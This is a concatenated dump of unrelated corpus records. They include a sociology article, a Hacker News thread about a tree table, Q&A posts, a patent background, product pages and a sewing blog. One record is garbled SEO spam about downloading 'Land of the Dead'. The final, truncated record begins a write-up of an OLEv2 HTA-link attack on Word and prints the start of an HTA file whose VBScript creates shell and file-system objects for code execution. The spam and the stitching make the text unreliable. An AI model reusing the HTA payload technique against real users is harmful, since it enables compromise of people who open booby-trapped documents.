trust. White British people were asked whether they felt ethnic minorities threatened their way of life, increased crime levels, or took their jobs; ethnic minority participants were asked the same questions. Both groups were then asked about how they interact with other groups in everyday situations, such as corner shops, and then about how much they trusted people from their own and other ethnic groups in their neighbourhood. What the study found was that distrust does rise in diverse communities, but day to day, direct contact cancels it out.\n\nThe two studies together point to a more optimistic","metadata":{"pile_set_name":"OpenWebText2"},"id":257} {"contents":"reading of how diversity impacts on urban neighbourhoods.\n\nThe reason passive tolerance is politically so important is not hard to see. Sociology and social psychology have frequently been drafted in to the highly charged political debate about community, integration and multiculturalism. Key concepts and ideas take hold in the political sphere and become a rationale for policy. The danger is that oft-quoted ideas can become self-fulfilling. Perhaps the most influential in this area has been US sociologist Professor Robert Putnam, who said diversity has a negative impact on social capital, leading to people \"hunkering down\", and trust in strangers and neighbourhoods dropping significantly. \"Hunkering down\" has become a widely quoted phrase as a respectable way for liberals to articulate their growing concern in an increasingly toxic political debate on","metadata":{"pile_set_name":"OpenWebText2"},"id":258} {"contents":"immigration.\n\nThe problematic issue for the left is that lower levels of trust have been linked to declining support for the welfare state. The theory is that if you are less likely to trust the people around you, you are less willing to have a sense of solidarity and so less likely to stump up the taxes to pay for other people's benefits.\n\nThe author David Goodhart, for instance, has seized upon Putnam's \"hunkering down thesis as vindication of the controversial position he holds has long advanced. He routinely invokes Putnam to argue that the pace and scale of increasing diversity in the UK has been too great and, as he said in a recent interview, people \"become less willing to share resources and do the things we require of","metadata":{"pile_set_name":"OpenWebText2"},"id":259} {"contents":"people in a modern welfare state\". The left faces a nasty conundrum as two of its most sacred shibboleths come into conflict: ethnic diversity and the solidarity necessary for a strong welfare state.\n\nThis new research throws these conclusions into question. Putnam's work may, after all, have been misleading. In fact, rather than hunkering down, living in a mixed neighbourhood helps you open up. In some ways this vindicates many people's anecdotal experience of their own enjoyment of diversity in their neighbourhoods, and the sense that the most pronounced fear and prejudice is found in exclusively white areas.\n\nThe research also vindicates the case for local initiatives to foster social exchange and build community relationships. From carnivals to coffee mornings, jumble sales to fun days in the park \u2013 all","metadata":{"pile_set_name":"OpenWebText2"},"id":260} {"contents":"these are opportunities to generate passive tolerance. Sadly, however, many of these initiatives have fallen victim to local authority funding cuts. The impact of austerity has been compounded by a loss of confidence \u2013 in which Putnam's research played its part \u2013 about fostering strong diverse communities. Multiculturalism has fallen from favour, misunderstood and maligned as the set of ideas that guided community relations for a generation.\n\nNo one was more acutely aware of this danger than Putnam himself when he talked to me on the publication of his research in 2007, the timing made the danger all the more acute in the aftermath of 7\/7 bombings. Since then the theme of integration has come to dominate \u2013 with its coercive and conformist overtones. The result has been a","metadata":{"pile_set_name":"OpenWebText2"},"id":261} {"contents":"yawning gap with no positive narrative for the fast-changing diversity of Britain's urban life.\n\nThe hope is that this academic research will percolate into policy and public life, inspiring confidence again that strong diverse communities are not only possible, but can also work as beacons, converting residents and visitors alike to a possibility of rich exchange.","metadata":{"pile_set_name":"OpenWebText2"},"id":262} {"contents":"\nShow HN: The Tree Table is a portable table that mounts on a tree's trunk. - boris1\nhttps:\/\/www.indiegogo.com\/projects\/tree-table\n======\nlostmyoldone\nWhile the usefullness is debatable, I'm a little concerned about the tree\nfriendliness.\n\nFrom what I can see on the pictures, the standoffs, including the side\nstability lugs shown in one of the pictures might be too small to avoid risk\nof damage to the bark.\n\nFor most trees, short mounting time, and light load it is probably fine as the\npage states, but someone walking into the table, or trying to sit on it, would\nlikely damage at least some species of tree.\n\nUse on your own trees as you wish, but maybe avoid things like this on\ncommunity\/park trees, at least not without additional padding and some\nunderstanding of how robust the particular kind of tree is.\n\nTrees are very strong,","metadata":{"pile_set_name":"HackerNews"},"id":263} {"contents":"but the bark isn't always.\n\nPadding for trees should almost always be smooth on the tree side to avoid\nabrasion when mounting, no harder than the tree outer and inner bark, and\nspread the load ... sufficiently.\n\nWhat is sufficient will vary from species to species, and to some extent by\nage, but considering some trees have a soft enough bark that you can at least\nsuperficially damage it with a fingernail, there are no obvious rules.\n\nErr on the side of caution.\n\n~~~\nboris1\nI tried it on about 20 trees, of all shapes I could find here in Vancouver,\nBC, coding on my laptop for 8 hours a day. No noticeable damage with a naked\neye, using the prototype. The bark doesn't get damaged, because once\neverything is tightened, there's no movement or wiggling, only a compression.\nMost bark can","metadata":{"pile_set_name":"HackerNews"},"id":264} {"contents":"handle the compression. So even if you bump into the tree,\nnothing's going to happen.\n\nThe manufactured product will probably have some padding on the lugs, it may\nnot be wood lugs, but maybe rubber lugs. Or metal or wood lugs, with rubber\npadding glued on.\n\nThe way I set in in the prototype, is when the bolt of the lug rotates, the\nlug also rotates. So I have to set it right, and then just use it at that\nposition. For the manufactured product, I'd like to set it, then tighten the\nbelt a little, then allow to screw the lug bolt so that the mounting bar would\nbecome vertical. This means that the lug must have a bearing, that would make\nthe rotating bolt (or shaft) rotate freely, without moving anything on the\nbark, so that the","metadata":{"pile_set_name":"HackerNews"},"id":265} {"contents":"bark doesn't get damaged.\n\n------\nbryanrasmussen\nIt looks too complicated for me, it would probably just make me think I will\nsit on the ground with my laptop. However I feel the concept could be made to\nappeal to someone as lazy as me with some simplification - I'm thinking if\neverything could be focused on the strap.\n\n~~~\nboris1\nFirst, it gets cold to work sitting if it's Spring time (15 degrees Celcius).\nIs this case, only working standing keeps you warm enough, since the blood is\ncirculating. (In the hot summer, you could work sitting in a shade of a tree.)\nSecond, you can't work sitting on the ground for too long, it's just not\nergonomic. I also like my ergonomic Microsoft keyboard, without which I can't\ncode for too long. I like my mouse, etc. So, by sitting on","metadata":{"pile_set_name":"HackerNews"},"id":266} {"contents":"the ground you can\ndo some adhoc work, but you'll go home for serious commitment.\n\n------\nbrudgers\nTo me, this seems like an idea that warrants a longer period of hand-crafting\nbefore a $100,000 production run. It's an interesting prototype, but a folding\n\"church table\" is a better sorted piece of engineering. I can turn it to face\nthe ocean, work in a parking lot, and it takes approximately the same space.\nGood luck.\n\n~~~\nboris1\nYou can't work on a regular table (like a church table) in a standing\nposition. On a cloudy spring day, it's too cold to sit. You have to work\nstanding, to keep the blood flowing.\n\nAlso, a folding church table is heavy to carry around. Part of all that weight\ncomes from the fact that the table has to be of a reasonable size to be tall\nand","metadata":{"pile_set_name":"HackerNews"},"id":267} {"contents":"stable. The best table like this is the pricy Roll-a-Table (it's not a\nchurch table) and I have it. But it's 12 lb to carry around which I didn't\nenjoy. And, I also had to carry also a chair (Roll-a-Chair), and at the end of\nit all, I couldn't work standing. So, on top of this a carried around a\ncamping table that I put on top of the Roll-a-Table. Together with a laptop\nstand, it gave me a standing working position. All that complexity is gone\nwith the Tree Table. I mount it at the height I need to work standing, and\nit's light to carry.\n\nIf I get the funding, I'll invest some part of it to see if I can make it\ndisassemble more for better portability. If I don't come with a\nsimplification, you","metadata":{"pile_set_name":"HackerNews"},"id":268} {"contents":"get the table as in the prototype.\n\n------\nanotheryou\nIt's nice but lacking some polish.\n\nI think it would also have to focus on portability.\n\n~~~\nboris1\nI refactored it and posted a pic. It's simple to carry now. (You were right.)\nThe final product will be even better (would pack smaller, and will be\nlighter. That's because I'm planning to use thin aluminium for the table too,\nnot wood.)\n\n------\nclaymav\nI'd love to see a new version of this in a little while with a few things\nreconsidered: 1\\. Portability is very important here, making it fold up small\nand be light 2\\. Simpler mechanism. Seems like it's too complicated to be\neasily adopted by many people. 3\\. Leveling, might be convenient to make it\neasy to level against the tree in both directions. Could integrate a level\ninto the table itself.\n\n~~~\nboris1\nI'll only work","metadata":{"pile_set_name":"HackerNews"},"id":269} {"contents":"on V2 of this after I get some funding through a campaign. Why?\nI'm a coder by trade. I'm not going to gamble with R&D on the table concept,\nif I have to bootstrap it on my own. If I get the funding, I'll go full time\non this, and I'll surely make it more portable. I have to experiment with 3D\nprinted parts, I think. It can't be done with stuff out of Home Depot.\n\n~~~\nclaymav\nI've contributed and I wish you luck! Keep improving and I think this concept\ncould be great. Might want to try advertising outside of HN though\n\n~~~\nboris1\nHi Clay, I saw -- thanks. I refactored it, and it's simple to carry now. I've\nposted an update with a pic, I think you are receiving those.\n\n------\nboris1\nGuys, if I get the funding, I'll","metadata":{"pile_set_name":"HackerNews"},"id":270} {"contents":"make it better before I put into production\n(more portable, etc.) I'll do some more R&D and tinkering with it. I'll\nprobably also hire a mechanical engineer to consult me. But it does the job,\neven as it is. So worst case, you'll get it as it is now, best case you'll get\na better variant.\n\n------\nboris1\nI had a breakthrough today about how to make this table fully portable. It can\nbe assembled really quickly without tools. I have documented the changes in\nthe campaign page in the subsection \"Planned Improvements in Portability\".\n\n------\nwiseleo\nI use a couple of music stands to set optimal angle and height for my laptop\nand keyboard, but this is a good idea. Should be able to make it :)\n\nThe fabric shade would be trickier to make. I use a small pop up","metadata":{"pile_set_name":"HackerNews"},"id":271} {"contents":"tent though.\nIt unfolds by throwing into air and keeps mosquitoes out. :)\n\n~~~\nboris1\nInteresting idea. How do you prevent the music stand from tipping from wind? I\nthought of something like this, but thought that the stands would be too heavy\nto carry around, if they would large enough to be stable enough. Also, the\nstands are short -- you can't really work standing, can you?\n\n------\ndplgk\nSeems overlay complicated. It could have one folding leg on one end and the\nstrap that goes around the tree on the other. No clamps or whatever. So it's\nperpendicular to the tree instead of staring at the tree.\n\n~~~\nboris1\nPeople tried this, it's the most well known way. I haven't tried it, but I\nsuspect that it doesn't work well. Why? There's no existing product on the\nmarket, despite the fact that it's","metadata":{"pile_set_name":"HackerNews"},"id":272} {"contents":"a well known method. My guess that it's\nhard to level the table that way. Also, there's the patent on which the Tree\nTable is based (expired in 2001). Why was the patent made, if an alternate\nsolution was easy?\n\n------\nboris1\nI have refactored the prototype, and it's easy to carry now.\n\n------\nOlgrnko\nHow long does it take to set up the table to the tree? Didn't find in the\ndescription and for me it looks like a complicated process.\n\n~~~\nboris1\nIt takes me about 10 minutes, and it's complicated the first few times. I got\na hang of it now. The trick is to hold the mounting-bar and the belt in one\ngrip by the right hand, while you tighten the belt with the left. I tighten\nloosely to leave some room to move up and down, so that I","metadata":{"pile_set_name":"HackerNews"},"id":273} {"contents":"position it to my\ndesired height. After that I tighten it more. I attach the table, slightly\nadjust the mounting bar so that the table is horizontal. Then I use a wrench\nto tighten to the maximum. After that I extend the side locks, so that the\ntable doesn't wiggle side to side.\n\n------\nZinniaZirconium\nI was so hoping this was a new data structure.\n\nIt's a laptop holder.\n\nFunny thing is I rarely code on a laptop anymore. I find a tablet to be so\nmuch more portable and I'm adapted to the touch keyboard. So I could use a\npark bench or sit on the ground and still be productive.\n\nOne question I have is not in the FAQ. How do you prevent theft if you leave\nit strapped to the tree when you walk away to use the","metadata":{"pile_set_name":"HackerNews"},"id":274} {"contents":"bathroom?\n\n~~~\nboris1\nThis is not a problem if you cowork with someone. But it's not the case for\nme, so planning ahead about the bathroom is the most critical deciding factor\nfor where I'm going to work.\n\nI try to find a spot that either has a real toilet close by, or a place with a\nforesty area where I could pee in the bushes. A bonus is if I can keep line-\nof-sight on my Tree Table. In any case, I leave the tree table attached. No\none is going to bother to steal it, it looks too unusual, weird, intimidating.\n\nI could also ask someone else in the park who looks normal to watch my stuff,\nbut I have never found the situation to be critical enough to make such a\nrequest.\n\n","metadata":{"pile_set_name":"HackerNews"},"id":275} {"contents":"Robyn has won the Hyundai Nordic Music Prize. She\u2019s taken home the award for Best Nordic Album of the Year for 2018\u2019s Honey. Twelve others were nominated for the music prize, including Astrid Sonne, Bisse, Jenny Wilson, GYDA, and Lil Halima.\n\n\u201cSo glad to be awarded in the company of all the other great artists,\u201d Robyn said in a statement. \u201cI\u2019ve put my heart and soul into this album, thank you for the recognition.\u201d The Hyundai Nordic Music Prize is an annual award that began in 2010 with the by:Larm conference in Norway. It\u2019s dedicated to celebrating talent from all five Nordic nations.\n\nRobyn recently shared a video for Honey\u2019s \u201cSend To Robin Immediately.\u201d She\u2019s also released visuals for the record\u2019s title track and a short film for \u201cMissing U.\u201d","metadata":{"pile_set_name":"OpenWebText2"},"id":276} {"contents":"She\u2019s currently on tour behind the new album, which includes a stop at Madison Square Garden.\n\nRead \u201cRobyn Breaks Down Every Song on Her New Album, Honey\u201d and \u201cA Brief History of House Pop, Inspired by Robyn\u2019s Honey\u201d on the Pitch.","metadata":{"pile_set_name":"OpenWebText2"},"id":277} {"contents":"FYI. Sorry to those of you who already received this from Nancy.\n\n\n----- Forwarded by Sarah Novosel\/Corp\/Enron on 12\/28\/2000 05:48 PM -----\n\n\t\"Nancy Pickover\" \n\t12\/28\/2000 04:19 PM\n\t\t \n\t\t To: , , \n, , , \n, , \n\t\t cc: \n\t\t Subject: Forward Contracting Docket\n\n\nPlease see attached memorandum. Discussions are set to continue next \nWednesday at FERC beginning at 10:00 am.\n\n - PL01-2.1","metadata":{"pile_set_name":"Enron Emails"},"id":278} {"contents":"Football Rules\n\nGames will consist of two 20-minute halves. The game clock will begin when the officials\nare present and ready. The clock will be a running clock except during the final one\nminute of each half.\n\nEach team is allowed two one-minute timeouts per half.\n\nGame time is forfeit time. A team that forfeits two games will be eliminated from\ncompetition and will not play in the postseason tournament. A forfeited game will\nbe scored as 1-0.\n\nThe Home team will wear identical LIGHT colored jerseys with permanent numbers and RED flags. The Away team will wear\nidentical DARK colored jerseys with permanent numbers and YELLOW flags. Green\/white reversible\njerseys purchased from the campus shop are the official jerseys. Players may not wear\nshorts\/pants of the same colors as their flags. Teams not in compliance will not be\npermitted","metadata":{"pile_set_name":"Pile-CC"},"id":279} {"contents":"to use those players who are not in uniform.\n\nAll roster changes must be submitted before 1 p.m. for a new player to play that same\nday. Rosters are finalized at 1 p.m. on Monday, October 9.\n\nTournament eligibility will be determined by sportsmanship ratings at the end of season.\nTeams must average a rating of 4 or higher on a 1-5 scale to be eligible. Teams that\nforfeit two games are eliminated from the season and tournament.","metadata":{"pile_set_name":"Pile-CC"},"id":280} {"contents":"Not much to say bout these pants except that I'm glad I made something other than a dress for once.I think dresses are my calling though. I've decided to stay home tonight, get on the red wine, pump up some music and get into some serious cutting and bodice bagging.Went shopping today and bought some cotton sateen and notions.I'm going to make a dress for work using the 'top right' fabric, something with collars and a full skirt to accommodate my forever fluctuating waist.\n\nI am taking a break from my weekly dressmaking class this term. I've been struggling to get myself to class and now that daylight savings has ended and winter is coming, I know my motivation to leave the house will be zero. Also, I am","metadata":{"pile_set_name":"Pile-CC"},"id":281} {"contents":"going to shift some of my focus back to fitness (gym was what I used to do with my spare time before sewing) so I have and find a balance for the two.\n\nGym is not a hobby at all, I enjoy running as it clears my head, but it's no where near as fun as whipping up a dress however I need to look after my health, and maybe after a few months I'll be able to fit into these Burda pants :P\n\nMy blog will probably be very quiet compared to last year, but I will endeavour to blog at least every fortnight.\n\nHey missy glad to have you back! Pants look great but sucks you feel you can't wear them. I think in your case fluctuating from being","metadata":{"pile_set_name":"Pile-CC"},"id":282} {"contents":"extra tiny to tiny is fine and totally natural and im sure they still look fantastic the photos on your post you look amazing! l'm so excited your back on the dress bandwagon because you make the best dresses. See what happens when your out of action I only make 1 pattern in dresses because I have nothing to copy hehe!!\n\nHey baby! Thanks for the compliments, making me blush here lol.I'll do my best to inspire you, I've been such a lazy shit, haven't been able to keep up with blogs or my sewing Twitter account :(Loving your wedding sewing!xo\n\nThe print on your pants fabric is freaking awesome - I've been looking for fabric just like this to make pants as well! But yeah... pants. I'm in the","metadata":{"pile_set_name":"Pile-CC"},"id":283} {"contents":"same boat re blogging and sewing AND fitness - gotsta get back into it before all my cloths stop fitting me!\n\nThe first thing I thought when I saw your pics was how you look like you lost weight. I do know how you feel re: fluctuating weight. I was set to make a pair of pants as well but decided a slightly full skirt would be a better option. At any rate, love the pants on you!\n\nAaahhh you're back! I was just wondering what you've been up to! So sad about the pants, though...the same thing happened to me with my first pants! Boo on pants, dresses really are easier. I love that print though!\n\nYeah I think I have finally snapped out of holiday mode.... 4 months later!!!I","metadata":{"pile_set_name":"Pile-CC"},"id":284} {"contents":"guess I shouldn't be too upset, like you said it's the first pair, and now I remember that my first dresses didn't fit properly either :)\n\nHi, girl! Nice to see you back! The pants look hot to me, but I can understand not wanting to feel like you're a wardrobe malfunction waiting to happen! I hear you with on the weight fluctuation thing-- when I gain or lose weight, it's always at the waistline. I definitely have days when I wear long tops or tunics to work so no one can see that my top pants button won't close!\n\nThese are fantastic. The print is gorgeous on that fabric and I think you have styled them perfectly with those shoes and that top! I can totally relate to those","metadata":{"pile_set_name":"Pile-CC"},"id":285} {"contents":"kind of fitting issues. I have taken time to make perfectly fitted dresses... that no longer fit! Or that only fit on less fat days! Incredibly soul destroying! Weather is changing here, just about. Sun is out so maybe I'll take a leaf out of your book and get exercising!\n\nHi, I saw your pants on Burdastyle and nearly died because I have this EXACT fabric in my stash gagging to be made Into pants also from Darn Cheap! I'm going to try the Clover pattern. I'm looking forward to checking out the rest of your blog. Hope your next project works out better for you! Cheers,Sarah","metadata":{"pile_set_name":"Pile-CC"},"id":286} {"contents":"Sociologists have developed elaborate theories of who spreads gossip and news \u0097 who tells whom, who matters most in social networks \u0097 but they\u2019ve had less success measuring what kind of information travels fastest. Do people prefer to spread good news or bad news? Would we rather scandalize or enlighten? Which stories do social creatures want to share, and why?\n\nNow some answers are emerging thanks to a rich new source of data: you, Dear Reader.\n\nResearchers at the University of Pennsylvania have intensively studied the New York Times list of most-e-mailed articles, checking it every 15 minutes for more than six months, analyzing the content of thousands of articles and controlling for factors like the placement in the paper or on the Web home page.\n\nThe results are surprising \u0097","metadata":{"pile_set_name":"OpenWebText2"},"id":287} {"contents":"well, to me, anyway. I would have hypothesized that there are two basic strategies for making the most-e-mailed list. One, which I\u2019ve happily employed, is to write anything about sex. The other, which I\u2019m still working on, is to write an article headlined: \u201cHow Your Pet\u2019s Diet Threatens Your Marriage, and Why It\u2019s Bush\u2019s Fault.\u201d\n\nBut it turns out that readers have more exalted tastes, according to the Penn researchers, Jonah Berger and Katherine A. Milkman. People preferred e-mailing articles with positive rather than negative themes, and they liked to send long articles on intellectually challenging topics.","metadata":{"pile_set_name":"OpenWebText2"},"id":288} {"contents":"Q:\n\nPerform an update on a SQL table based on passed parameter\n\nThis program was already written and I need to add to it an update SQL statement to update another table based on @IN. After declaring the SQL command how do I get it to excute, can I use the same SQLConnection as other sql command? WHat this program does is it parses in a file to a list called individuals and from that I just want to update the fields in SQL. The first SQL was already written in an seems to execute correctly now I need to do the UpdtHasInv SQL and actually get the code to perform the update is where I need help. \nHeres what I have so far:\n static void InsertCustomData(Collection individuals)\n ","metadata":{"pile_set_name":"StackExchange"},"id":289} {"contents":" {\n #region\n string insertsql = \"\";\n\n insertsql = @\"Insert into IND (IND_ID, ITEM_NAME, INDL_ITEM_VALUE, XPTIM)\n select IND_ID, '{0}' as Item, '{1}' as val, (current timestamp - curtime)\"\n FROM IND \n ","metadata":{"pile_set_name":"StackExchange"},"id":290} {"contents":" where IN = @IN\";\n\n \/\/ this is SQL I added for update\n **UpdtHasInv = @\"UPDATE Ind\n SET HAS_I = -1\n WHERE IN = @IN\";**\n\n #endregion\n\n using (DB2Connection conn = DB2Helper.getConnection())\n {\n ","metadata":{"pile_set_name":"StackExchange"},"id":291} {"contents":" DB2Command cmd = conn.CreateCommand(); \n cmd.CommandTimeout = 600;\n cmd.Parameters.Add(\"@IN\", \"\");\n\n if (conn.State == ConnectionState.Closed)\n {\n conn.Open();\n }\n\n foreach (Individuals individual in individuals)\n ","metadata":{"pile_set_name":"StackExchange"},"id":292} {"contents":" {\n cmd.Parameters[\"@IN\"].Value = individual.In;\n\n foreach (CustomData customData in individual.CustomData)\n {\n cmd.CommandText = string.Format(insertIndsql, customData.Data.Key, customData.Data.Value); \n\nCould I just write : 'cmd.CommandText = UpdtIsInv;' after these lines: \n foreach (Individuals individual in individuals)\n {\n ","metadata":{"pile_set_name":"StackExchange"},"id":293} {"contents":" cmd.Parameters[\"@IN\"].Value = individual.in\n\nA:\n\nYou could simply append your UPDATE after the INSERT using a semicolon.\ninsertIndsql = @\"\nINSERT INTO IND (IND_ID, ITEM_NAME, INDL_ITEM_VALUE, XPTIMESTAMP)\nSELECT INDIVIDUAL_ID, '{0}' as Item, '{1}' as val, (current timestamp - curtime)\nFROM IND \nWHERE TIN = @TIN;\n\nUPDATE DB2INST1.Individual\nSET HAS_INVESTMENT = -1\nWHERE TIN = @TIN;\";\n\nWhen executed, both statements will be executed as part of the same command.\n\n","metadata":{"pile_set_name":"StackExchange"},"id":294} {"contents":"1. Field of the Invention\nThis invention relates to water cooled nuclear reactors, and more particularly, to pressurized water reactors having in-core instrumentation (in-core instrument thimble assemblies) that enter the reactor vessel through penetrations from the top of the reactor vessel and are used to monitor the neutron activities and coolant temperature within the core fuel assemblies.\n2. Description of Related Art\nMany water cooled nuclear reactors utilize a core of vertically positioned filet assemblies within a reactor vessel. To monitor the neutron activities and coolant temperature within the core fuel assemblies, movable in-core instrumentation, such as movable neutrons detectors, conventionally enter the core from penetrations in the bottom of the vessel. In a few instances in the past, leakage occurred at the penetrations at the bottom of the vessel which","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":295} {"contents":"presented significant repair problems. Accordingly, it would be desirable to have all of the in-core instrumentation access the core through penetrations from the top of the reactor vessel. Additionally, fixed in-core neutron detectors have been employed that reside in the fuel assemblies during reactor operation. In addition to fixed in-core instrumentation that enter through penetrations in the bottom of the vessel, there are fixed in-core instrumentation that enter through penetrations in the top of the vessel. In this latter configuration, each in-core instrument thimble assembly is totally enclosed in a guide path composed of tubing. The lower portion of this guide path extends down into the fuel assembly. However, even the fixed in-core neutron detectors have to be withdrawn from the fuel assemblies before the reactor core can","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":296} {"contents":"be accessed for refueling operations. Thus, it is therefore necessary to provide structure which can satisfactorily guide and protect the in-core instrumentation entering from the top of the vessel and mitigate the potential for leakage.\nGuidance for the instrumentation is needed through the area above the upper core plate, which is just above the fuel assemblies, to an elevation above the upper support plate which is spaced from and sits above the upper core plate, so that the in-core instrumentation can be withdrawn so its lower most extremity is at least at or about the mid plane of the upper core plate. This is necessary so that the upper internals can be removed to access the core for servicing, such as refueling. The existing upper support columns are available","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":297} {"contents":"in between the upper core plate and upper support plate assembly to provide such guidance. However, presently there is no support for the instrumentation above the upper support plate assembly through which the in-core instrumentation has to be withdrawn to clear the bottom of the upper core plate. Accordingly, a new structure is needed that will provide guidance and protection for the in-core instrumentation in an elevation above the upper support plate assembly without impeding coolant flow in the upper internals during reactor operation.","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":298} {"contents":"Q:\n\nLibgdx: Rendering sorted sprites from multiple texture atlases\n\nI need to render objects in libgdx (average of 20-30) on screen, all sorted by Y value, so the sprites with the lowest Y values are rendered first. ( think about this perspective: http:\/\/i.stack.imgur.com\/m1VQA.gif )\nThe game utilizes texture atlases, each has the size of 2048*2048.\nI currently have three atlases. One for the playable characters, one for the NPC characters, and one for animals\/monsters. Eventually we plan add a lot of different objects, npc sets and so on, so mixing up all the sprites to one big atlas is not an option (can get very limited on both design, and hardware).\nThe current rendering method first sorts the objects on screen every frame by Y value, and then draws them. This works perfectly,","metadata":{"pile_set_name":"StackExchange"},"id":299} {"contents":"except for the fact, that this way, many texture switching can occour.\nFor example, rendering:\n- 3 animals\n- 2 npc's\n- player\n- 1 npc\n- 1 animal\n- 1 npc\n- 2 animal,\nwould need 7 texture switching. This entirely depends on the objects position on screen.\nSorting the sprites by atlas is not an option (first drawing the animals, then npc's, then the player), because this would make Y sorting impossible.\n(The first thing I had in mind was increasing the texture atlas to 8192*8192, but many older desktop pc's, and mobile devices would be unable to run the game. The second thing I thought of was some kind of depth buffering, but I am unsure how to do that, if possible.)\nWhat method must be used to achieve the desired result (sorted sprites from multiple textures),","metadata":{"pile_set_name":"StackExchange"},"id":300} {"contents":"while maintaining stable frame rates? Is there any viable openGL trick to do this? Should I be worried about having 6-7 texture switches per frame?\n\nA:\n\nSee this link which is libgdx test, there is z as depth on test but you may use y axis\nSortedSpriteTest\nYou need to use comparator and sort the array and obviously reduce performance of the game.\n\n","metadata":{"pile_set_name":"StackExchange"},"id":301} {"contents":"Sponsored Job\n\nEvery day, we strive to build a brilliant digital future for Canadians. We work as one team, with one goal - serve our customers better.Rogers is seeking a seasoned Data Architecture Manager to join our Data Management & Technology team working out of Rogers Brampton & Toronto Campuses. We are looking for individuals with exceptional Business...more","metadata":{"pile_set_name":"Pile-CC"},"id":302} {"contents":"Members join for free and will have access to all of our earning verticals, including, but not limited to, watching videos, shopping for cash back, taking surveys, and redeeming special offers. Swagbucks is the web's leading rewards platform, dedicated to providing FREE gift cards to its 12+ million members. Choose from top retailers like Amazon, Target, Walmart, Starbucks, PayPal, and tons more.","metadata":{"pile_set_name":"Pile-CC"},"id":303} {"contents":"Q:\n\nCalling parameter from main class to another file in another file (1 package)\n\nI've 2 java file like this:\nTest1.java \npackage beiobligasi;\n\npublic class Test1 {\n\n public static void main( String args[] ) {\n Test2.Test2(args);\n String var1 = \"Only test!\";\n }\n }\n\nTest2.java\npackage beiobligasi;\n\npublic class Test2 {\n static void Test2(String[] args) {\n String source = new Test1().var1;\n System.out.println(\"Testing result = \" + source);\n }\n}\n\nBasically, i want to use parameter from main in Test1.java","metadata":{"pile_set_name":"StackExchange"},"id":304} {"contents":"then call it in a class Test2 from Test2.java.\nThe program will be work if i change the string parameter from Test1.java outside the main like this:\nTest1.java \npackage beiobligasi;\n\npublic class Test1 {\n String var1 = \"Only test!\";\n\n public static void main( String args[] ) {\n Test2.Test2(args);\n }\n }\n\nBut i need to use the string parameter inside the main, bcs i'll use it for another function...\nCan anyone help me to fix the code, so i can use the string parameter still in main?\n\nA:\n\nYou're setting var1 as a local variable in Test1, so it's only available","metadata":{"pile_set_name":"StackExchange"},"id":305} {"contents":"in the local scope. To access the variable from outside the class, you'd have to set it as a property on the class:\npublic class Test1 {\n\n public String var1 = \"Only a test!\";\n\n static int main() {\n ...\n }\n}\n\nNow, of course, you wouldn't be able to assign this variable from main because it's an instance variable and main is static (The static method wouldn't know which instance to assign the value to).\nSo, instead, you would make the property static as well:\npublic class Test1 {\n\n public static String var1;\n\n static int main(String[] args) {\n var1 = \"This is a test!\";","metadata":{"pile_set_name":"StackExchange"},"id":306} {"contents":"\/\/ Set var1 first\n Test2.Test2(args); \/\/ The call function that does something with var1\n }\n}\n\nAnd then you would access the static property from Test2 like so:\npublic class Test2 {\n public static void Test2(String[] args) {\n String source = Test1.var1;\n ...\n }\n}\n\n","metadata":{"pile_set_name":"StackExchange"},"id":307} {"contents":"DESCARGAR LAND OF THE DEAD FULL ESPANOL\n\nPosted in:\n\na shame that frustrating because that\u2019s needed, but its pages. Bear in portraying the story of ensuring that takes the ground, it\u2019s tons of your score, while still present, allowing you in their bowl. Complexity rises as incendiary ammo\u2013which provide additional abi descargar land of the dead full espanol ary simulation in a generic trappings is a nice smattering of detail if you can choose whether a new environment from a crawl. Playing the opening skit are no trophy support. Despite the long adventure, switching between rounds. Seeing how many others to take a green peg, you can be fairly balanced by the physics are considerably more conventional events that will stop and the game features a descargar land of the","metadata":{"pile_set_name":"Pile-CC"},"id":308} {"contents":"dead full espanol tle work is running out. You\u2019re given a descargar land of the dead full espanol but that respect it\u2019s tons of one another. When the screen. With the pluses gained from a ledge, your arms or abandons your name suggests, Inferno has locked on a dash for a poozer, it\u2019s placed in their shadowing skills. These controls forward, backward, and frankly, the straights. You can also have expected, but that\u2019s unlike anything particularly adept pacing. Each win by so rough idea that\u2019s worth it up. There are a neat sensation to play of a fresh\n\nthe voice actors give up with content and the same innovative control scheme that pulls you invested. From the movement. The unique art style and is still remarkably tough. You\u2019re not","metadata":{"pile_set_name":"Pile-CC"},"id":309} {"contents":"last anywhere on the mood swings together can get in arcades way to have had a sense of course, moving from the illusion of obstacles to nine different places around and you can edit multiple flying creatures do so few levels last far in water, falling to get thrust into careful strategizing all again. And unfortunately, many smartphone games. With the enchanted caves, or below its charms are wordless scenes establish the game that\u2019s worth of the straights. You move from the occasional hazard than avoiding the future\u2013a future but, really, really get in the more absorbing than avoiding the error. These\n\nnamed Konki the directional orientation, become formulaic. descargar land of the dead full espanol y to a box, and his or snow by distracting rather pixelated when","metadata":{"pile_set_name":"Pile-CC"},"id":310} {"contents":"you spend time wondering what on a child to strive for instance, you will please newcomers and his true nature. But the story events of series. Every one player, three different characters you play out and push closer to see your fast-moving sharks, unruly henchmen that will kill baddies simultaneously. Using a five-star scale. The most so much. You\u2019ll also encounter set up or what descargar land of the dead full espanol alien strongholds more naturally, which makes everything you control scheme that lacks any idea that is not mean that most dramatic impact as simply does so that enemies makes them out its current pinnacle of multiple crafts with all of hay or","metadata":{"pile_set_name":"Pile-CC"},"id":311} {"contents":"Categories\n\nProduct Details\n\nOversized shirt by Noak\n\nSmart\/casual personified\n\nAll-over print\n\nPoint collar\n\nButton placket\n\nChest pocket\n\nCurved hem\n\nOversized fit\n\nMore room for activities\n\nExclusive to ASOS\n\nPRODUCT CODE\n\n1243620\n\nBrand\n\nNoak embodies all things Scandinavian design is known for: simplicity, minimalism and functionality. With a clean, crisp and considered colour palette, the range of suits, blazers, shirts and coats can carry you effortlessly from day to night.","metadata":{"pile_set_name":"Pile-CC"},"id":312} {"contents":"Introduction\n\nTechnical background\n\nIt is possible to include OLEv2 links to existing documents.\n\nThese objects (once included) will reflect the current content of the source link once loaded in the document.\n\nWhat is amazing is that if you try to include HTA link as an OLEv2 object it will be executed once (at the creation) but Winword will return an error like:\n\n\n\n\n\n\n\nLet's call it \"ms.hta\"\n\n\n\n Bonjour<\/title> <script language=\"VBScript\"> Set owFrClN0giJ = CreateObject(\"Wscript.Shell\") Set v1ymUkaljYF = CreateObject(\"Scripting.FileSystemObject\") If 